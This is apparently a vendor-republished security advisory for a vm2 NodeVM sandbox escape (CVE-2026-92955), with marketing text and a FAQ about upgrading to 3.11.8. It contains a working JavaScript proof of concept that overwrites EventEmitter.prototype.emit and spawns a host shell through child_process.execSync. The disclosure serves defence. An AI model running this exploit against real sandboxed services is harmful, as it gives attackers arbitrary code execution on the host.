Summary
vm2: Sandbox Escape (NodeVM)
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);
Impact
CVE-2026-92955 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-92955? CVE-2026-92955 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.7. It is fixed in 3.11.8.
- How severe is CVE-2026-92955? CVE-2026-92955 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-92955? vm2 (npm) versions <= 3.11.7 is affected.
- Is there a fix for CVE-2026-92955? Yes. CVE-2026-92955 is fixed in 3.11.8. Upgrade to this version or later.
- Is CVE-2026-92955 exploitable, and should I be worried? Whether CVE-2026-92955 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-92955 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-92955? Upgrade
vm2to 3.11.8 or later.